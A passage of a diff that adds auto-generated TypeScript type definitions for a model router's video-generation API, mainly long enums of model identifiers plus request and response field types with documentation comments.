'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11RequestModelEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11RequestModelEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11RequestModelEnum] + +export const openrouterPostVideosAlibabaHappyhorse11RequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11RequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11RequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11RequestResolutionEnum] + +export const openrouterPostVideosAlibabaHappyhorse11RequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '720x720': '720x720', + '960x720': '960x720', + '720x960': '720x960', + '1680x720': '1680x720', + '720x1680': '720x1680', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '1080x1080': '1080x1080', + '1440x1080': '1440x1080', + '1080x1440': '1080x1440', + '2520x1080': '2520x1080', + '1080x2520': '1080x2520', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse11RequestSizeEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse11RequestSizeEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse11RequestSizeEnum] + +/** + * @description Alibaba: HappyHorse 1.1 (alibaba/happyhorse-1.1) — model-constrained video generation request. HappyHorse 1.1 is a video generation model from Alibaba. It generates short videos from a text prompt, a single starting image, or a set of reference images, with output up... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaHappyhorse11Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaHappyhorse11RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaHappyhorse11RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaHappyhorse11RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaHappyhorse11RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosAlibabaHappyhorse11RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaHappyhorse11Options = { + body: OpenrouterPostVideosAlibabaHappyhorse11Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaHappyhorse11Responses = { + '200': OpenrouterPostVideosAlibabaHappyhorse11Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaHappyhorse11Response = + OpenrouterPostVideosAlibabaHappyhorse11Status200 + +export const openrouterPostVideosAlibabaWan26Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaWan26Status200StatusEnumKey = + (typeof openrouterPostVideosAlibabaWan26Status200StatusEnum)[keyof typeof openrouterPostVideosAlibabaWan26Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan26Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaWan26Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaWan26RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosAlibabaWan26RequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaWan26RequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaWan26RequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaWan26RequestDurationEnum = { + '5': 5, + '10': 10, +} as const + +export type OpenrouterPostVideosAlibabaWan26RequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaWan26RequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaWan26RequestDurationEnum] + +export const openrouterPostVideosAlibabaWan26RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 